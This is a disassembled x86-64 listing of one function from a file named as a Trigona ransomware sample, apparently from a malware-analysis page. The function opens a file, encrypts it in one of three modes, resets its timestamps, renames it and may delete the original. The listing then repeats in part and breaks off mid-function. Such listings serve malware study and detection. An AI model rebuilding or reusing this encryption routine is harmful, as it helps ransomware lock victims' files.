File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
Loading..
00445770
00445770fn_445770:
00445770push rbp
00445771push rsi
00445772push rbx
00445773sub rsp, 432
0044577amov rbp, rsp
0044577dmov [rbp+120], r8
00445781mov [rbp+128], r9
00445788mov [rbp+144], 0
00445793mov [rbp+136], 0
0044579emov [rbp+152], 0
004457a9mov [rbp+184], 0
004457b4mov [rbp+168], 0
004457bfmov [rbp+160], 0
004457camov [rbp+176], 0
004457d5mov [rbp+192], 0
004457e0mov [rbp+200], 0
004457ebmov [rbp+208], 0
004457f6mov [rbp+216], 0
00445801mov [rbp+224], 0
0044580cmov [rbp+232], 0
00445817mov [rbp+248], 0
00445822mov [rbp+240], 0
0044582dmov [rbp+408], 0
00445838mov [rbp+400], 0
00445843mov [rbp+392], 0
0044584emov [rbp+376], 0
00445859mov [rbp+368], 0
00445864mov [rbp+320], 0
0044586fmov [rbp+312], 0
0044587amov [rbp+304], 0
00445885mov [rbp+296], 0
00445890mov [rbp+288], 0
0044589bmov [rbp+280], 0
004458a6mov [rbp+272], 0
004458b1mov [rbp+464], rcx
004458b8mov [rbp+472], rdx
004458bflea rcx, [rbp+464]
004458c6call fn_40bf00
004458cblea rcx, [rbp+472]
004458d2call fn_40bf00
004458d7nop
004458d8mov rax, [rip+0x1e6e1]
004458dfcmp [rax+308], 0
004458e6je 0x44593d
004458e8xor ecx, ecx
004458eamov dl, 1
004458eccall fn_439060
004458f1lea rcx, [rbp+248]
004458f8mov edx, 3
004458fdlea r8, [rip+3856]
00445904mov r9, [rbp+464]
0044590bmov rax, [rbp+472]
00445912mov [rsp+32], rax
00445917call fn_40d530
0044591clea rcx, [rbp+240]
00445923mov rdx, [rbp+248]
0044592acall fn_40d820
0044592fmov rcx, [rbp+240]
00445936mov dl, 1
00445938call fn_439060
0044593d
0044593dloc_44593d:
0044593dlea rcx, [rbp+424]
00445944mov rdx, [rbp+464]
0044594bmov r8, [rbp+472]
00445952mov r9l, [rbp+496]
00445959call fn_444b80
0044595etest al, al
00445960jne 0x445990
00445962mov rax, [rip+0x1e657]
00445969cmp [rax+308], 0
00445970je 0x446692
00445976lea rcx, [rip+3779]
0044597dmov dl, 1
0044597fcall fn_439060
00445984xor ecx, ecx
00445986call fn_4392a0
0044598bjmp 0x446692
00445990
00445990loc_445990:
00445990mov rcx, [rbp+424]
00445997lea rdx, [rbp+352]
0044599ecall GetFileSizeEx
004459a3test eax, eax
004459a5jne 0x4459e1
004459a7mov rcx, [rbp+424]
004459aecall CloseHandle
004459b3mov rax, [rip+0x1e606]
004459bacmp [rax+308], 0
004459c1je 0x446692
004459c7lea rcx, [rip+3762]
004459cemov dl, 1
004459d0call fn_439060
004459d5xor ecx, ecx
004459d7call fn_4392a0
004459dcjmp 0x446692
004459e1
004459e1loc_4459e1:
004459e1cmp [rbp+352], 0
004459e9jne 0x445a1e
004459ebmov rcx, [rbp+424]
004459f2call CloseHandle
004459f7mov rax, [rip+0x1e5c2]
004459fecmp [rax+308], 0
00445a05je 0x446692
00445a0blea rcx, [rip+3766]
00445a12mov dl, 1
00445a14call fn_439060
00445a19jmp 0x446692
00445a1e
00445a1eloc_445a1e:
00445a1exor ebx, ebx
00445a20cmp [rbp+352], 16
00445a28jle 0x445aff
00445a2elea rcx, [rbp+232]
00445a35mov rdx, [rbp+464]
00445a3cmov r8, [rbp+472]
00445a43call fn_40d230
00445a48lea rcx, [rbp+424]
00445a4fmov rdx, [rbp+352]
00445a56mov r8, [rbp+232]
00445a5dlea r9, [rbp+272]
00445a64mov [rsp+32], 1
00445a69call fn_444860
00445a6emov esi, eax
00445a71sub sil, 1
00445a75test sil, sil
00445a78je 0x445a8e
00445a7asub sil, 1
00445a7etest sil, sil
00445a81je 0x445ac1
00445a83sub sil, 1
00445a87test sil, sil
00445a8ajne 0x445aff
00445a8cjmp 0x445ac5
00445a8e
00445a8eloc_445a8e:
00445a8emov rcx, [rbp+424]
00445a95call CloseHandle
00445a9amov rax, [rip+0x1e51f]
00445aa1cmp [rax+308], 0
00445aa8je 0x446692
00445aaelea rcx, [rip+3675]
00445ab5mov dl, 1
00445ab7call fn_439060
00445abcjmp 0x446692
00445ac1
00445ac1loc_445ac1:
00445ac1mov bl, 1
00445ac3jmp 0x445aff
00445ac5
00445ac5loc_445ac5:
00445ac5mov rcx, [rbp+424]
00445acccall CloseHandle
00445ad1mov rax, [rip+0x1e4e8]
00445ad8cmp [rax+308], 0
00445adfje 0x446692
00445ae5lea rcx, [rip+3712]
00445aecmov dl, 1
00445aeecall fn_439060
00445af3xor ecx, ecx
00445af5call fn_4392a0
00445afajmp 0x446692
00445aff
00445affloc_445aff:
00445afftest bl, bl
00445b01je 0x445bdf
00445b07mov rax, [rbp+272]
00445b0etest rax, rax
00445b11je 0x445b17
00445b13mov rax, [rax-8]
00445b17
00445b17loc_445b17:
00445b17lea rcx, [rbp+272]
00445b1elea rdx, [rbp+272]
00445b25mov r8l, 8
00445b2bmov r9l, eax
00445b2esub r9l, 8
00445b32call fn_430a50
00445b37mov rax, [rbp+272]
00445b3etest rax, rax
00445b41je 0x445b47
00445b43mov rax, [rax-8]
00445b47
00445b47loc_445b47:
00445b47lea rcx, [rbp+272]
00445b4elea rdx, [rbp+272]
00445b55xor r8, r8
00445b58mov r9l, eax
00445b5bsub r9l, 8
00445b5fcall fn_430a50
00445b64mov rcx, [rbp+272]
00445b6bmov rax, rcx
00445b6etest rax, rax
00445b71je 0x445b77
00445b73mov rax, [rax-8]
00445b77
00445b77loc_445b77:
00445b77mov rdx, [rbp+272]
00445b7emovzx rax, [rdx+rax-1]
00445b84mov [rbp+422], al
00445b8amov rax, rcx
00445b8dtest rax, rax
00445b90je 0x445b96
00445b92mov rax, [rax-8]
00445b96
00445b96loc_445b96:
00445b96mov rdx, [rbp+272]
00445b9dmovzx rax, [rdx+rax-2]
00445ba3mov [rbp+423], al
00445ba9mov rax, rcx
00445bactest rax, rax
00445bafje 0x445bb5
00445bb1mov rax, [rax-8]
00445bb5
00445bb5loc_445bb5:
00445bb5lea rcx, [rbp+320]
00445bbcmov edx, eax
00445bbecall fn_430990
00445bc3lea rcx, [rbp+320]
00445bcalea rdx, [rbp+272]
00445bd1lea r8, [rbp+272]
00445bd8call fn_4300b0
00445bddjmp 0x445bed
00445bdf
00445bdfloc_445bdf:
00445bdflea rcx, [rbp+272]
00445be6xor edx, edx
00445be8call fn_430990
00445bed
00445bedloc_445bed:
00445bedtest bl, bl
00445befje 0x445c84
00445bf5cmp [rbp+423], 2
00445bfcjbe 0x445c38
00445bfemov rcx, [rbp+424]
00445c05call CloseHandle
00445c0amov rax, [rip+0x1e3af]
00445c11cmp [rax+308], 0
00445c18je 0x446692
00445c1elea rcx, [rip+3523]
00445c25mov dl, 1
00445c27call fn_439060
00445c2cxor ecx, ecx
00445c2ecall fn_4392a0
00445c33jmp 0x446692
00445c38
00445c38loc_445c38:
00445c38cmp [rbp+422], 1
00445c3fjb 0x445c4a
00445c41cmp [rbp+422], 14
00445c48jbe 0x445c84
00445c4a
00445c4aloc_445c4a:
00445c4amov rcx, [rbp+424]
00445c51call CloseHandle
00445c56mov rax, [rip+0x1e363]
00445c5dcmp [rax+308], 0
00445c64je 0x446692
00445c6alea rcx, [rip+3567]
00445c71mov dl, 1
00445c73call fn_439060
00445c78xor ecx, ecx
00445c7acall fn_4392a0
00445c7fjmp 0x446692
00445c84
00445c84loc_445c84:
00445c84lea rcx, [rbp+280]
00445c8bmov rdx, [rbp+472]
00445c92call fn_414390
00445c97xor eax, eax
00445c99mov rcx, [rbp+280]
00445ca0test rcx, rcx
00445ca3je 0x445ca8
00445ca5mov eax, [rcx-4]
00445ca8
00445ca8loc_445ca8:
00445ca8mov rcx, [rbp+128]
00445cafmov rcx, [rcx]
00445cb2test rcx, rcx
00445cb5je 0x445cbb
00445cb7mov rcx, [rcx-8]
00445cbb
00445cbbloc_445cbb:
00445cbbmov rdx, [rbp+272]
00445cc2test rdx, rdx
00445cc5je 0x445ccb
00445cc7mov rdx, [rdx-8]
00445ccb
00445ccbloc_445ccb:
00445ccbmov r8, [rbp+352]
00445cd2mov r9, [rbp+472]
00445cd9mov r10l, ecx
00445cdclea rcx, [rbp+423]
00445ce3mov [rsp+32], rcx
00445ce8lea rcx, [rbp+422]
00445cefmov [rsp+40], rcx
00445cf4lea rcx, [rbp+364]
00445cfbmov [rsp+48], rcx
00445d00lea rcx, [rbp+360]
00445d07mov [rsp+56], rcx
00445d0cmov [rsp+64], bl
00445d10mov [rsp+72], edx
00445d14lea rcx, [rbp+260]
00445d1bmov [rsp+80], rcx
00445d20lea rcx, [rbp+264]
00445d27mov [rsp+88], rcx
00445d2cmov [rsp+96], 0
00445d31mov rcx, r8
00445d34mov rdx, r9
00445d37mov r8l, eax
00445d3amov r9l, r10l
00445d3dcall fn_4431c0
00445d42mov rcx, [rbp+424]
00445d49lea rdx, [rbp+344]
00445d50lea r8, [rbp+328]
00445d57lea r9, [rbp+336]
00445d5ecall GetFileTime
00445d63test eax, eax
00445d65jne 0x445d7b
00445d67mov [rbp+344], 0
00445d71mov [rbp+348], 0
00445d7b
00445d7bloc_445d7b:
00445d7blea rcx, [rbp+320]
00445d82mov edx, [rbp+344]
00445d88call fn_430990
00445d8dlea rcx, [rbp+312]
00445d94mov edx, [rbp+348]
00445d9acall fn_430990
00445d9flea rcx, [rbp+376]
00445da6mov rdx, [rip-0x16f8d]
00445dadcall fn_410600
00445db2lea rcx, [rbp+376]
00445db9mov rdx, [rip-0x16fa0]
00445dc0mov r8l, 1
00445dc6mov r9l, [rbp+364]
00445dcdcall fn_410430
00445dd2mov rax, [rbp+376]
00445dd9mov [rax+1], 0
00445dddmov rax, [rbp+376]
00445de4mov [rax+3], 0
00445de8mov rax, [rbp+376]
00445defmov [rax+5], 0
00445df3mov rax, [rbp+376]
00445dfamov [rax+7], 0
00445dfelea rcx, [rbp+224]
00445e05mov rdx, [rbp+464]
00445e0cmov r8, [rbp+472]
00445e13call fn_40d230
00445e18lea rcx, [rbp+424]
00445e1fmov rdx, [rbp+352]
00445e26mov r8l, [rbp+364]
00445e2dlea r9, [rbp+376]
00445e34mov rax, [rbp+224]
00445e3bmov [rsp+32], rax
00445e40call fn_4442e0
00445e45test al, al
00445e47jne 0x445eb7
00445e49lea rcx, [rbp+216]
00445e50mov rdx, [rbp+464]
00445e57mov r8, [rbp+472]
00445e5ecall fn_40d230
00445e63lea rcx, [rbp+424]
00445e6amov rdx, [rbp+352]
00445e71mov r8, [rbp+216]
00445e78call fn_443770
00445e7dmov rcx, [rbp+424]
00445e84call CloseHandle
00445e89mov rax, [rip+0x1e130]
00445e90cmp [rax+308], 0
00445e97je 0x446692
00445e9dlea rcx, [rip+3112]
00445ea4mov dl, 1
00445ea6call fn_439060
00445eabxor ecx, ecx
00445eadcall fn_4392a0
00445eb2jmp 0x446692
00445eb7
00445eb7loc_445eb7:
00445eb7mov rcx, [rbp+424]
00445ebemov rax, [rbp+352]
00445ec5mov edx, [rbp+364]
00445ecblea rdx, [rax+rdx]
00445ecfcall fn_445590
00445ed4lea rcx, [rbp+408]
00445edbmov rdx, [rip-0x170c2]
00445ee2call fn_410600
00445ee7lea rcx, [rbp+408]
00445eeemov rdx, [rip-0x170d5]
00445ef5mov r8l, 1
00445efbmov r9l, [rbp+360]
00445f02call fn_410430
00445f07mov [rbp+388], 0
00445f11lea rcx, [rbp+400]
00445f18lea rdx, [rbp+392]
00445f1fmov r8b, 1
00445f22call fn_443910
00445f27movzx rax, [rbp+423]
00445f2fsub al, 1
00445f32cmp al, -1
00445f35je 0x445f4b
00445f37test al, al
00445f39je 0x445f9e
00445f3bsub al, 1
00445f3etest al, al
00445f40jne 0x44606a
00445f46jmp 0x445ffa
00445f4b
00445f4bloc_445f4b:
00445f4blea rcx, [rbp+424]
00445f52lea rdx, [rbp+400]
00445f59mov r8, [rbp+120]
00445f5dlea r9, [rbp+408]
00445f64lea rax, [rbp+388]
00445f6bmov [rsp+32], rax
00445f70mov rax, [rbp+504]
00445f77mov [rsp+40], rax
00445f7cmov rax, [rbp+512]
00445f83mov [rsp+48], rax
00445f88mov rax, [rbp+520]
00445f8fmov [rsp+56], rax
00445f94call fn_444240
00445f99jmp 0x44606a
00445f9e
00445f9eloc_445f9e:
00445f9elea rcx, [rbp+424]
00445fa5mov rdx, [rbp+352]
00445faclea r8, [rbp+400]
00445fb3mov r9, [rbp+120]
00445fb7lea rax, [rbp+408]
00445fbemov [rsp+32], rax
00445fc3lea rax, [rbp+388]
00445fcamov [rsp+40], rax
00445fcfmov rax, [rbp+504]
00445fd6mov [rsp+48], rax
00445fdbmov rax, [rbp+512]
00445fe2mov [rsp+56], rax
00445fe7mov rax, [rbp+520]
00445feemov [rsp+64], rax
00445ff3call fn_444050
00445ff8jmp 0x44606a
00445ffa
00445ffaloc_445ffa:
00445ffalea rcx, [rbp+424]
00446001mov rdx, [rbp+352]
00446008lea r8, [rbp+400]
0044600fmov r9, [rbp+120]
00446013lea rax, [rbp+408]
0044601amov [rsp+32], rax
0044601flea rax, [rbp+388]
00446026mov [rsp+40], rax
0044602bmov eax, [rbp+260]
00446031mov [rsp+48], eax
00446035mov rax, [rbp+264]
0044603cmov [rsp+56], rax
00446041mov rax, [rbp+504]
00446048mov [rsp+64], rax
0044604dmov rax, [rbp+512]
00446054mov [rsp+72], rax
00446059mov rax, [rbp+520]
00446060mov [rsp+80], rax
00446065call fn_444140
0044606a
0044606aloc_44606a:
0044606amov rax, [rip+0x1df4f]
00446071cmp [rax+321], 0
00446078jne 0x4460b9
0044607acmp [rbp+344], 0
00446081jne 0x44608c
00446083cmp [rbp+348], 0
0044608aje 0x4460b9
0044608c
0044608cloc_44608c:
0044608cmov [rbp+344], 1
00446096mov [rbp+348], 0
004460a0mov rcx, [rbp+424]
004460a7lea rdx, [rbp+344]
004460aexor r8, r8
004460b1xor r9, r9
004460b4call SetFileTime
004460b9
004460b9loc_4460b9:
004460b9lea rcx, [rbp+320]
004460c0lea rdx, [rbp+312]
004460c7lea r8, [rbp+304]
004460cecall fn_4300b0
004460d3lea rcx, [rbp+280]
004460dalea rdx, [rip+2643]
004460e1mov r8, [rbp+280]
004460e8call fn_40ca10
004460edmov rcx, [rbp+280]
004460f4lea rdx, [rbp+296]
004460fbcall fn_430db0
00446100lea rcx, [rbp+304]
00446107lea rdx, [rbp+296]
0044610elea r8, [rbp+304]
00446115call fn_4300b0
0044611alea rcx, [rbp+288]
00446121mov rdx, [rip-0x17308]
00446128call fn_410600
0044612dlea rcx, [rbp+288]
00446134mov rdx, [rip-0x1731b]
0044613bmov r8l, 1
00446141mov r9l, 16
00446147call fn_410430
0044614cmov rax, [rbp+304]
00446153test rax, rax
00446156je 0x44615c
00446158mov rax, [rax-8]
0044615c
0044615cloc_44615c:
0044615cmov rcx, [rbp+304]
00446163mov edx, eax
00446165mov r8, [rbp+288]
0044616ccall fn_445320
00446171lea rcx, [rbp+288]
00446178lea rdx, [rbp+304]
0044617flea r8, [rbp+304]
00446186call fn_4300b0
0044618blea rcx, [rbp+296]
00446192mov rdx, [rip-0x17379]
00446199call fn_410600
0044619emov rax, [rbp+304]
004461a5test rax, rax
004461a8je 0x4461ae
004461aamov rax, [rax-8]
004461ae
004461aeloc_4461ae:
004461aelea rcx, [rbp+296]
004461b5mov rdx, [rip-0x1739c]
004461bcmov r8l, 1
004461c2mov r9, rax
004461c5call fn_410430
004461camov rax, [rbp+304]
004461d1test rax, rax
004461d4je 0x4461da
004461d6mov rax, [rax-8]
004461da
004461daloc_4461da:
004461dalea rcx, [rbp+304]
004461e1mov rdx, [rbp+120]
004461e5lea r8, [rbp+392]
004461eclea r9, [rbp+296]
004461f3mov [rsp+32], eax
004461f7mov rax, [rbp+520]
004461femov [rsp+40], rax
00446203call fn_435c80
00446208lea rcx, [rbp+376]
0044620fmov rdx, [rbp+128]
00446216lea r8, [rbp+392]
0044621dmovzx r9, [rbp+423]
00446225movzx rax, [rbp+422]
0044622dmov [rsp+32], al
00446231mov eax, [rbp+388]
00446237mov [rsp+40], eax
0044623bmov eax, [rbp+260]
00446241mov [rsp+48], eax
00446245mov rax, [rbp+264]
0044624cmov [rsp+56], rax
00446251lea rax, [rbp+408]
00446258mov [rsp+64], rax
0044625dlea rax, [rbp+296]
00446264mov [rsp+72], rax
00446269lea rax, [rbp+272]
00446270mov [rsp+80], rax
00446275call fn_442210
0044627amov rbx, [rbp+376]
00446281test rbx, rbx
00446284je 0x44628a
00446286mov rbx, [rbx-8]
0044628a
0044628aloc_44628a:
0044628alea rcx, [rbp+208]
00446291mov rdx, [rbp+464]
00446298mov r8, [rbp+472]
0044629fcall fn_40d230
004462a4lea rcx, [rbp+424]
004462abmov rdx, [rbp+352]
004462b2mov r8l, ebx
004462b5lea r9, [rbp+376]
004462bcmov rax, [rbp+208]
004462c3mov [rsp+32], rax
004462c8call fn_4442e0
004462cdtest al, al
004462cfjne 0x44633f
004462d1lea rcx, [rbp+200]
004462d8mov rdx, [rbp+464]
004462dfmov r8, [rbp+472]
004462e6call fn_40d230
004462eblea rcx, [rbp+424]
004462f2mov rdx, [rbp+352]
004462f9mov r8, [rbp+200]
00446300call fn_443770
00446305mov rcx, [rbp+424]
0044630ccall CloseHandle
00446311mov rax, [rip+0x1dca8]
00446318cmp [rax+308], 0
0044631fje 0x446692
00446325lea rcx, [rip+2072]
0044632cmov dl, 1
0044632ecall fn_439060
00446333xor ecx, ecx
00446335call fn_4392a0
0044633ajmp 0x446692
0044633f
0044633floc_44633f:
0044633fmov rcx, [rbp+424]
00446346mov rax, [rbp+352]
0044634dmov edx, [rbp+364]
00446353lea rdx, [rax+rdx]
00446357call fn_445680
0044635cmov rax, [rip+0x1dc5d]
00446363cmp [rax+321], 0
0044636aje 0x446396
0044636ccmp [rbp+344], 0
00446373jne 0x44637e
00446375cmp [rbp+348], 0
0044637cje 0x446396
0044637e
0044637eloc_44637e:
0044637emov rcx, [rbp+424]
00446385xor edx, edx
00446387xor r8, r8
0044638alea r9, [rbp+336]
00446391call SetFileTime
00446396
00446396loc_446396:
00446396mov rax, [rip+0x1dc23]
0044639dcmp [rax+308], 0
004463a4je 0x4463b4
004463a6lea rcx, [rip+2055]
004463admov dl, 1
004463afcall fn_439060
004463b4
004463b4loc_4463b4:
004463b4mov rcx, [rbp+424]
004463bbcall CloseHandle
004463c0mov rax, [rip+0x1dbf9]
004463c7cmp [rax+321], 0
004463cejne 0x446692
004463d4lea rcx, [rbp+424]
004463dbmov rdx, [rbp+464]
004463e2mov r8, [rbp+472]
004463e9xor r9, r9
004463eccall fn_444b80
004463f1test al, al
004463f3jne 0x44641c
004463f5mov rax, [rip+0x1dbc4]
004463fccmp [rax+308], 0
00446403je 0x446692
00446409lea rcx, [rip+2000]
00446410mov dl, 1
00446412call fn_439060
00446417jmp 0x446692
0044641c
0044641cloc_44641c:
0044641cmov rcx, [rbp+424]
00446423lea rdx, [rbp+352]
0044642acall GetFileSizeEx
0044642ftest eax, eax
00446431jne 0x446466
00446433mov rcx, [rbp+424]
0044643acall CloseHandle
0044643fmov rax, [rip+0x1db7a]
00446446cmp [rax+308], 0
0044644dje 0x446692
00446453lea rcx, [rip+1998]
0044645amov dl, 1
0044645ccall fn_439060
00446461jmp 0x446692
00446466
00446466loc_446466:
00446466xor esi, esi
00446469cmp [rbp+352], 16
00446471jle 0x4464b6
00446473lea rcx, [rbp+192]
0044647amov rdx, [rbp+464]
00446481mov r8, [rbp+472]
00446488call fn_40d230
0044648dlea rcx, [rbp+424]
00446494mov rdx, [rbp+352]
0044649bmov r8, [rbp+192]
004464a2lea r9, [rbp+272]
004464a9mov [rsp+32], 0
004464aecall fn_444860
004464b3mov esi, eax
004464b6
004464b6loc_4464b6:
004464b6cmp sil, 1
004464baje 0x44650c
004464bcmov rcx, [rbp+424]
004464c3call CloseHandle
004464c8mov rax, [rip+0x1daf1]
004464cfcmp [rax+308], 0
004464d6je 0x446692
004464dccmp sil, 3
004464e0jne 0x4464f2
004464e2lea rcx, [rip+1935]
004464e9mov dl, 1
004464ebcall fn_439060
004464f0jmp 0x446500
004464f2
004464f2loc_4464f2:
004464f2lea rcx, [rip+2059]
004464f9mov dl, 1
004464fbcall fn_439060
00446500
00446500loc_446500:
00446500xor ecx, ecx
00446502call fn_4392a0
00446507jmp 0x446692
0044650c
0044650cloc_44650c:
0044650cmov rcx, [rbp+424]
00446513call CloseHandle
00446518mov rax, [rip+0x1daa1]
0044651fcmp [rax+308], 0
00446526je 0x446536
00446528lea rcx, [rip+2125]
0044652fmov dl, 1
00446531call fn_439060
00446536
00446536loc_446536:
00446536lea rcx, [rbp+368]
0044653dmov rdx, [rbp+464]
00446544mov r8, [rbp+352]
0044654bmovzx r9, [rbp+422]
00446553mov [rsp+32], 2
00446558call fn_42ef80
0044655dlea rcx, [rbp+176]
00446564mov rdx, [rbp+464]
0044656bmov r8, [rbp+472]
00446572call fn_40d230
00446577lea rcx, [rbp+184]
0044657emov rdx, [rbp+176]
00446585call fn_42f780
0044658amov rcx, [rbp+184]
00446591call fn_40d180
00446596mov rbx, rax
00446599lea rcx, [rbp+160]
004465a0mov rdx, [rbp+464]
004465a7mov r8, [rbp+368]
004465aecall fn_40d230
004465b3lea rcx, [rbp+168]
004465bamov rdx, [rbp+160]
004465c1call fn_42f780
004465c6mov rcx, [rbp+168]
004465cdcall fn_40d180
004465d2mov rcx, rbx
004465d5mov rdx, rax
004465d8call MoveFileW
004465ddtest eax, eax
004465dfjne 0x446608
004465e1mov rax, [rip+0x1d9d8]
004465e8cmp [rax+308], 0
004465efje 0x446692
004465f5lea rcx, [rip+1980]
004465fcmov dl, 1
004465fecall fn_439060
00446603jmp 0x446692
00446608
00446608loc_446608:
00446608mov rax, [rip+0x1d9b1]
0044660fcmp [rax+308], 0
00446616je 0x446626
00446618lea rcx, [rip+2013]
0044661fmov dl, 1
00446621call fn_439060
00446626
00446626loc_446626:
00446626lea rcx, [rbp+152]
0044662dmov rdx, [rbp+464]
00446634mov r8, [rbp+472]
0044663bcall fn_40d230
00446640mov rcx, [rbp+152]
00446647call fn_42fe80
0044664ctest al, al
0044664eje 0x446691
00446650lea rcx, [rbp+136]
00446657mov rdx, [rbp+464]
0044665emov r8, [rbp+472]
00446665call fn_40d230
0044666alea rcx, [rbp+144]
00446671mov rdx, [rbp+136]
00446678call fn_42f780
0044667dmov rcx, [rbp+144]
00446684call fn_40d180
00446689mov rcx, rax
0044668ccall DeleteFileW
00446691
00446691loc_446691:
00446691nop
00446692
00446692loc_446692:
00446692lea rcx, [rbp+136]
00446699mov edx, 13
0044669ecall fn_40be70
004466a3lea rcx, [rbp+240]
004466aacall fn_40bcf0
004466aflea rcx, [rbp+248]
004466b6call fn_40bd90
004466bblea rcx, [rbp+272]
004466c2mov rdx, [rip-0x178a9]
004466c9call fn_410600
004466celea rcx, [rbp+280]
004466d5call fn_40bd40
004466dalea rcx, [rbp+288]
004466e1mov rdx, [rip-0x178c8]
004466e8mov r8l, 5
004466eecall fn_40ec40
004466f3lea rcx, [rbp+368]
004466facall fn_40bd90
004466fflea rcx, [rbp+376]
00446706mov rdx, [rip-0x178ed]
0044670dcall fn_410600
00446712lea rcx, [rbp+392]
00446719mov rdx, [rip-0x17900]
00446720mov r8l, 3
00446726call fn_40ec40
0044672blea rcx, [rbp+464]
00446732mov edx, 2
00446737call fn_40be70
0044673clea rsp, [rbp+432]
00446743pop rbx
00446744pop rsi
00446745pop rbp
00446746ret
00445770
00445770fn_445770:
00445770push rbp
00445771push rsi
00445772push rbx
00445773sub rsp, 432
0044577amov rbp, rsp
0044577dmov [rbp+120], r8
00445781mov [rbp+128], r9
00445788mov [rbp+144], 0
00445793mov [rbp+136], 0
0044579emov [rbp+152], 0
004457a9mov [rbp+184], 0
004457b4mov [rbp+168], 0
004457bfmov [rbp+160], 0
004457camov [rbp+176], 0
004457d5mov [rbp+192], 0
004457e0mov [rbp+200], 0
004457ebmov [rbp+208], 0
004457f6mov [rbp+216], 0
00445801mov [rbp+224], 0
0044580cmov [rbp+232], 0
00445817mov [rbp+248], 0
00445822mov [rbp+240], 0
0044582dmov [rbp+408], 0
00445838mov [rbp+400], 0
00445843mov [rbp+392], 0
0044584emov [rbp+376], 0
00445859mov [rbp+368], 0
00445864mov [rbp+320], 0
0044586fmov [rbp+312], 0
0044587amov [rbp+304], 0
00445885mov [rbp+296], 0
00445890mov [rbp+288], 0
0044589bmov [rbp+280], 0
004458a6mov [rbp+272], 0
004458b1mov [rbp+464], rcx
004458b8mov [rbp+472], rdx
004458bflea rcx, [rbp+464]
004458c6call fn_40bf00
004458cblea rcx, [rbp+472]
004458d2call fn_40bf00
004458d7nop
004458d8mov rax, [rip+0x1e6e1]
004458dfcmp [rax+308], 0
004458e6je 0x44593d
004458e8xor ecx, ecx
004458eamov dl, 1
004458eccall fn_439060
004458f1lea rcx, [rbp+248]
004458f8mov edx, 3
004458fdlea r8, [rip+3856]
00445904mov r9, [rbp+464]
0044590bmov rax, [rbp+472]
00445912mov [rsp+32], rax
00445917call fn_40d530
0044591clea rcx, [rbp+240]
00445923mov rdx, [rbp+248]
0044592acall fn_40d820
0044592fmov rcx, [rbp+240]
00445936mov dl, 1
00445938call fn_439060
0044593d
0044593dloc_44593d:
0044593dlea rcx, [rbp+424]
00445944mov rdx, [rbp+464]
0044594bmov r8, [rbp+472]
00445952mov r9l, [rbp+496]
00445959call fn_444b80
0044595etest al, al
00445960jne 0x445990
00445962mov rax, [rip+0x1e657]
00445969cmp [rax+308], 0
00445970je 0x446692
00445976lea rcx, [rip+3779]
0044597dmov dl, 1
0044597fcall fn_439060
00445984xor ecx, ecx
00445986call fn_4392a0
0044598bjmp 0x446692
00445990
00445990loc_445990:
00445990mov rcx, [rbp+424]
00445997lea rdx, [rbp+352]
0044599ecall GetFileSizeEx
004459a3test eax, eax
004459a5jne 0x4459e1
004459a7mov rcx, [rbp+424]
004459aecall CloseHandle
004459b3mov rax, [rip+0x1e606]
004459bacmp [rax+308], 0
004459c1je 0x446692
004459c7lea rcx, [rip+3762]
004459cemov dl, 1
004459d0call fn_439060
004459d5xor ecx, ecx
004459d7call fn_4392a0
004459dcjmp 0x446692
004459e1
004459e1loc_4459e1:
004459e1cmp [rbp+352], 0
004459e9jne 0x445a1e
004459ebmov rcx, [rbp+424]
004459f2call CloseHandle
004459f7mov rax, [rip+0x1e5c2]
004459fecmp [rax+308], 0
00445a05je 0x446692
00445a0blea rcx, [rip+3766]
00445a12mov dl, 1
00445a14call fn_439060
00445a19jmp 0x446692
00445a1e
00445a1eloc_445a1e:
00445a1exor ebx, ebx
00445a20cmp [rbp+352], 16
00445a28jle 0x445aff
00445a2elea rcx, [rbp+232]
00445a35mov rdx, [rbp+464]
00445a3cmov r8, [rbp+472]
00445a43call fn_40d230
00445a48lea rcx, [rbp+424]
00445a4fmov rdx, [rbp+352]
00445a56mov r8, [rbp+232]
00445a5dlea r9, [rbp+272]
00445a64mov [rsp+32], 1
00445a69call fn_444860
00445a6emov esi, eax
00445a71sub sil, 1
00445a75test sil, sil
00445a78je 0x445a8e
00445a7asub sil, 1
00445a7etest sil, sil
00445a81je 0x445ac1
00445a83sub sil, 1
00445a87test sil, sil
00445a8ajne 0x445aff
00445a8cjmp 0x445ac5
00445a8e
00445a8eloc_445a8e:
00445a8emov rcx, [rbp+424]
00445a95call CloseHandle
00445a9amov rax, [rip+0x1e51f]
00445aa1cmp [rax+308], 0
00445aa8je 0x446692
00445aaelea rcx, [rip+3675]
00445ab5mov dl, 1
00445ab7call fn_439060
00445abcjmp 0x446692
00445ac1
00445ac1loc_445ac1:
00445ac1mov bl, 1
00445ac3jmp 0x445aff
00445ac5
00445ac5loc_445ac5:
00445ac5mov rcx, [rbp+424]
00445acccall CloseHandle
00445ad1mov rax, [rip+0x1e4e8]
00445ad8cmp [rax+308], 0
00445adfje 0x446692
00445ae5lea rcx, [rip+3712]
00445aecmov dl, 1
00445aeecall fn_439060
00445af3xor ecx, ecx
00445af5call fn_4392a0
00445afajmp 0x446692
00445aff
00445affloc_445aff:
00445afftest bl, bl
00445b01je 0x445bdf
00445b07mov rax, [rbp+272]
00445b0etest rax, rax
00445b11je 0x445b17
00445b13mov rax, [rax-8]
00445b17
00445b17loc_445b17:
00445b17lea rcx, [rbp+272]
00445b1elea rdx, [rbp+272]
00445b25mov r8l, 8
00445b2bmov r9l, eax
00445b2esub r9l, 8
00445b32call fn_430a50
00445b37mov rax, [rbp+272]
00445b3etest rax, rax
00445b41je 0x445b47
00445b43mov rax, [rax-8]
00445b47
00445b47loc_445b47:
00445b47lea rcx, [rbp+272]
00445b4elea rdx, [rbp+272]
00445b55xor r8, r8
00445b58mov r9l, eax
00445b5bsub r9l, 8
00445b5fcall fn_430a50
00445b64mov rcx, [rbp+272]
00445b6bmov rax, rcx
00445b6etest rax, rax
00445b71je 0x445b77
00445b73mov rax, [rax-8]
00445b77
00445b77loc_445b77:
00445b77mov rdx, [rbp+272]
00445b7emovzx rax, [rdx+rax-1]
00445b84mov [rbp+422], al
00445b8amov rax, rcx
00445b8dtest rax, rax
00445b90je 0x445b96
00445b92mov rax, [rax-8]
00445b96
00445b96loc_445b96:
00445b96mov rdx, [rbp+272]
00445b9dmovzx rax, [rdx+rax-2]
00445ba3mov [rbp+423], al
00445ba9mov rax, rcx
00445bactest rax, rax
00445bafje 0x445bb5
00445bb1mov rax, [rax-8]
00445bb5
00445bb5loc_445bb5:
00445bb5lea rcx, [rbp+320]
00445bbcmov edx, eax
00445bbecall fn_430990
00445bc3lea rcx, [rbp+320]
